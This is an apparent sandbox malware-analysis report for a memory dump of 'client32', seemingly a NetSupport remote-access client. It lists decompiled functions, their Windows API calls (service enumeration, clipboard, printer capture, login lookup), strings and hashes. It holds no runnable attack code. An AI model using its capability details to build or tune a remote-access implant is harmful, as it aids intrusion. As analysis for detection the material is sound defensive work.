API String ID: 2219718054-800295887
Opcode ID: 4cc1fde5e20de1d22eceee8bdc9d3861e2b7a2064f589f295b2194325481a8e0
Instruction ID: f5da5898e03af7335dd3b432591c065ee650f23ce63a0b1c8c4037c06c323e7f
Opcode Fuzzy Hash: 4cc1fde5e20de1d22eceee8bdc9d3861e2b7a2064f589f295b2194325481a8e0
Instruction Fuzzy Hash: E2B186B5A44329AFE720DF54CC85FDAF7B8EB48704F108199E619A72C0DB70AA44CF55

Function 11127110 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 400COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,00000000,00000000,?), ref: 1112714B

Strings

EnumServices returned %d, xrefs: 111271F4
advapi32.dll, xrefs: 11127226
QueryServiceConfig2W, xrefs: 1112724A

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID: EnumServices returned %d$QueryServiceConfig2W$advapi32.dll
API String ID: 1889721586-3267302290
Opcode ID: 21b3c385728fcf88e82166965005ac8aff01d1b65566217e64c1eab89ee832e7
Instruction ID: 9fb7de677e030cfc0a01f6eedc798a2385bd80f55b8063cdc9a43f6634fa85b6
Opcode Fuzzy Hash: 21b3c385728fcf88e82166965005ac8aff01d1b65566217e64c1eab89ee832e7
Instruction Fuzzy Hash: 39E17575A006599FEB24CF24CD94FABF7B9AF84304F208699E91997240DF30AE85CF50

Function 110251B0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 384windowtimeCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 11025347
DrawMenuBar.USER32(?), ref: 1102535E
GetMenu.USER32(?), ref: 110253B3
DeleteMenu.USER32(00000000,00000001,00000400), ref: 110253C1
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003), ref: 1102531E

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

UpdateWindow.USER32(?), ref: 11025407
IsIconic.USER32(?), ref: 1102541A
SetTimer.USER32(00000000,00000000,000003E8,00000000), ref: 1102543A
KillTimer.USER32(00000000,00000000,00000080,00000002), ref: 110254A0

Strings

..\ctl32\chatw.cpp, xrefs: 1102520A
Chat, xrefs: 110251D8
m_hWnd, xrefs: 110253F6
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110253F1

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$TimerWindow$DeleteDrawErrorExitIconicKillLastMessageProcessUpdatewsprintf
String ID: ..\ctl32\chatw.cpp$Chat$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3085788722-363603473
Opcode ID: e69d78fb2f8639c597be4dd6d8a4cfc2e884be2be3f7c90e4c2329286fe3b857
Instruction ID: b6232a099581f0ae497a3b344fdba13ecce31f738ecb0fc666d570829b7bf44f
Opcode Fuzzy Hash: e69d78fb2f8639c597be4dd6d8a4cfc2e884be2be3f7c90e4c2329286fe3b857
Instruction Fuzzy Hash: 14D1AC74B40702ABEB14DB64CC85FAEB3A5BB88708F104558F6529F3C1DAB1F941CB95

Function 11069690 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 283fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1106976B
OpenPrinterA.WINSPOOL.DRV(?,FFFFFFFF,00000000,?,?,DC70C1FE,?,?), ref: 11069824
StartDocPrinterA.WINSPOOL.DRV(FFFFFFFF,00000001,?,?,?,FFFFFFFF,00000000,?,?,DC70C1FE,?,?), ref: 1106989E
ClosePrinter.WINSPOOL.DRV(FFFFFFFF,FFFFFFFF,00000001,?,?,?,FFFFFFFF,00000000,?,?,DC70C1FE,?,?), ref: 110698AE
GetTickCount.KERNEL32 ref: 110699EC

Part of subcall function 11141430: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,75C07310), ref: 11141457

FindFirstFileA.KERNEL32(00000000,?,?,?,?,?,DC70C1FE,?,?), ref: 110698FC
FindClose.KERNEL32(00000000,?,?,?,?,DC70C1FE,?,?), ref: 11069908
CreateFileA.KERNEL32(00000000,40000000,00000001,00000000,00000004,00000000,00000000,?,?,?,?,DC70C1FE,?,?), ref: 110699A0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,DC70C1FE,?,?), ref: 110699C5
GetLastError.KERNEL32(?,?,?,?,?,DC70C1FE,?,?), ref: 11069A5A

Part of subcall function 11064CC0: EndPagePrinter.WINSPOOL.DRV(?), ref: 11064D92
Part of subcall function 11064CC0: EndDocPrinter.WINSPOOL.DRV(?), ref: 11064D98
Part of subcall function 11064CC0: ClosePrinter.WINSPOOL.DRV(?,?), ref: 11064D9E
Part of subcall function 11064CC0: Sleep.KERNEL32(000001F4), ref: 11064DDA

Strings

Enable, xrefs: 1106995F
%s - %s, xrefs: 1106985F
PrintCapture, xrefs: 11069964

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Printer.$CloseFile$CountFindPrinterTick$CreateEnvironmentErrorExpandFirstLastOpenPagePointerSleepStartStrings
String ID: %s - %s$Enable$PrintCapture
API String ID: 1834577849-1632956573
Opcode ID: ae0e2b07917c9480a31732071cb89b62829728e2d572fdd7287d9e264cc8dc22
Instruction ID: e673d2eda1cd691c3edaaa59946a8787050a6b5371973777754d889af3eb1648
Opcode Fuzzy Hash: ae0e2b07917c9480a31732071cb89b62829728e2d572fdd7287d9e264cc8dc22
Instruction Fuzzy Hash: ACB18E74E006169FDB20CF64CC88BDEB7B9BF85315F1046D9E419A7280EB75AA84CF50

Function 1103B220 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 189COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1103B306
_free.LIBCMT ref: 1103B400

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

Part of subcall function 110CCAD0: FindResourceExA.KERNEL32(00000000,00000005,?,00000000), ref: 110CCB55
Part of subcall function 110CCAD0: LoadResource.KERNEL32(00000000,00000000), ref: 110CCB84
Part of subcall function 110CCAD0: LockResource.KERNEL32(00000000), ref: 110CCBA8
Part of subcall function 110CCAD0: CreateDialogIndirectParamA.USER32(00000000,00000000,1112A889,110CAE00,00000000), ref: 110CCBD9
Part of subcall function 110CCAD0: CreateDialogIndirectParamA.USER32(00000000,00000000,1112A889,110CAE00,00000000), ref: 110CCBF4
Part of subcall function 110CCAD0: GetLastError.KERNEL32 ref: 110CCC19

_calloc.LIBCMT ref: 1103B415
_free.LIBCMT ref: 1103B450

Strings

DoUserLogin, xrefs: 1103B24E
u, xrefs: 1103B266
, xrefs: 1103B39A
Not logged in!, xrefs: 1103B365
GetName, xrefs: 1103B296
Get login name. Check if logged in, xrefs: 1103B32E
Login name %s, xrefs: 1103B3C9
CLTCONN.CPP, xrefs: 1103B319, 1103B428

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Resource$CreateDialogIndirectParam_calloc_free$ErrorFindLastLoadLock_memsetwsprintf
String ID: $CLTCONN.CPP$DoUserLogin$Get login name. Check if logged in$GetName$Login name %s$Not logged in!$u
API String ID: 3626227667-1552251038
Opcode ID: 01fd35b3c109e338554ba1db0897715522d16d727ac1624b289d742af69260c7
Instruction ID: 25b904e35b270628fa9a38861c68e686706e0c30f1396ea4e15f3982f5bea4d1
Opcode Fuzzy Hash: 01fd35b3c109e338554ba1db0897715522d16d727ac1624b289d742af69260c7
Instruction Fuzzy Hash: 97612674E41A1AEFD710DFA4CCC1FADF3A5AB8470DF104269EA265B2C0EB716940C792

Function 1115B180 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 440COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 1115B1C6
RemovePropA.USER32(?), ref: 1115B1E5
RemovePropA.USER32(?), ref: 1115B1F4
RemovePropA.USER32(?,00000000), ref: 1115B203

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

CallWindowProcA.USER32(?,?,?,?,?), ref: 1115B55A

Strings

..\ctl32\wndclass.cpp, xrefs: 1115B198
old_wndproc, xrefs: 1115B19D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: PropRemove$Window$CallErrorExitLastLongMessageProcProcesswsprintf
String ID: ..\ctl32\wndclass.cpp$old_wndproc
API String ID: 1777853711-3305400014
Opcode ID: c3063e6233cfac457fb0abdd6f1d250989d48feedc8840d264afa341f117270a
Instruction ID: ee076e1b1c12c59e2fd2c34d2ca2faed304bf4b043a58102cf48aae30fabbc62
Opcode Fuzzy Hash: c3063e6233cfac457fb0abdd6f1d250989d48feedc8840d264afa341f117270a
Instruction Fuzzy Hash: 43C17BB53041199FD748CE69E890E7FB3EAFBC8311B10466EF956C7781DA21AC118BB1

Function 1101F360 Relevance: 15.1, APIs: 10, Instructions: 54clipboardmemorywindowCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 1101F387
GlobalAlloc.KERNEL32(00002002,00000002), ref: 1101F397
GlobalLock.KERNEL32(00000000), ref: 1101F3A0
_memmove.LIBCMT ref: 1101F3A9
GlobalUnlock.KERNEL32(00000000), ref: 1101F3B2
EmptyClipboard.USER32 ref: 1101F3B8
SetClipboardData.USER32(00000001,00000000), ref: 1101F3C1
GlobalFree.KERNEL32(00000000), ref: 1101F3CC
MessageBeep.USER32(00000030), ref: 1101F3D4
CloseClipboard.USER32 ref: 1101F3DA

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClipboardGlobal$AllocBeepCloseDataEmptyFreeLockMessageOpenUnlock_memmove
String ID:
API String ID: 3255624709-0
Opcode ID: e34d2ed037c0cc0ce93fd965415a0307a16a5f75420eb2469a8d43960e23cf46
Instruction ID: a74b028ba7232528d54cbd7924e13de8c44cceb4ce50299c474c183637a6b5bc
Opcode Fuzzy Hash: e34d2ed037c0cc0ce93fd965415a0307a16a5f75420eb2469a8d43960e23cf46
Instruction Fuzzy Hash: 67019276A012636BD3026B748CCCE5FBBACDF55349704C079F626C6109EB74C8058762

Function 111575D0 Relevance: 10.6, APIs: 7, Instructions: 105windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 11157677
ShowWindow.USER32(?,00000009), ref: 11157687
BringWindowToTop.USER32(?), ref: 11157691
IsWindow.USER32(00000000), ref: 111576D0
IsIconic.USER32(00000000), ref: 111576DB
ShowWindow.USER32(00000000,00000009), ref: 111576E8
BringWindowToTop.USER32(00000000), ref: 111576EF

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$BringIconicShow
String ID:
API String ID: 2588442158-0
Opcode ID: 038ff0c7e592a338b47f23a8c12551223a3be2bd5e1829126b81d4076912602b
Instruction ID: a9c9b89abb11ca8be4b118751fbd9485df176094a83bcf99db43cce38e22dc7e
Opcode Fuzzy Hash: 038ff0c7e592a338b47f23a8c12551223a3be2bd5e1829126b81d4076912602b
Instruction Fuzzy Hash: D431E575A00A2A9FD751CF54D985BAEF7B8FF45714F00816AE921E3380EB35A901CFA1

Function 1101D180 Relevance: 4.6, APIs: 3, Instructions: 82timeCOMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 1101D213
SetRect.USER32(?,00000000,00000000,00000000,00000000), ref: 1101D232
GetLocalTime.KERNEL32(00000002), ref: 1101D25C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LocalRectTime__time64
String ID:
API String ID: 394334608-0
Opcode ID: de18328b6b15506cedc7e23451f66c7985023e4612589437c270b1aaafaaec95
Instruction ID: 290189b485d165d605b85d0a399bd35ca550a15b876ac08f977e3d1591b43d19
Opcode Fuzzy Hash: de18328b6b15506cedc7e23451f66c7985023e4612589437c270b1aaafaaec95
Instruction Fuzzy Hash: 01316C75904B44DFD320CF68D944B9AFBE8EB48714F00896EE86AC7780DB34E904CB51

Function 11025600 Relevance: 4.6, APIs: 3, Instructions: 72windowthreadCOMMON

Download Yara Rule

APIs

IsIconic.USER32(00000000), ref: 11025636
BringWindowToTop.USER32(00000000), ref: 1102564C

Part of subcall function 110016C0: CloseHandle.KERNEL32(00000000,00000000,00000001,00000000), ref: 11001744

GetCurrentThreadId.KERNEL32 ref: 11025673

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: BringCloseCurrentHandleIconicThreadWindow
String ID:
API String ID: 282708701-0
Opcode ID: be7bb6cde0661da47d93028aa2f1066229653c34bc31b302c7f75b62c8a6ca65
Instruction ID: c3a6a97e4fdde05f755f246cac9ee4b44c497100eb01fdc4058d47c4523d8575
Opcode Fuzzy Hash: be7bb6cde0661da47d93028aa2f1066229653c34bc31b302c7f75b62c8a6ca65
Instruction Fuzzy Hash: 87210836A006059FE720CE59E4887EAB3E5BF88324F40C16AE55B87240CB76E845CF54

Function 11059270 Relevance: 4.5, APIs: 3, Instructions: 19windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,1105990A,DuplicateHandle), ref: 11059281
FormatMessageA.KERNEL32(00001100,00000000,00000000,?,?,1105990A,DuplicateHandle), ref: 1105928F
LocalFree.KERNEL32(?,?,?,1105990A,DuplicateHandle), ref: 11059299

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
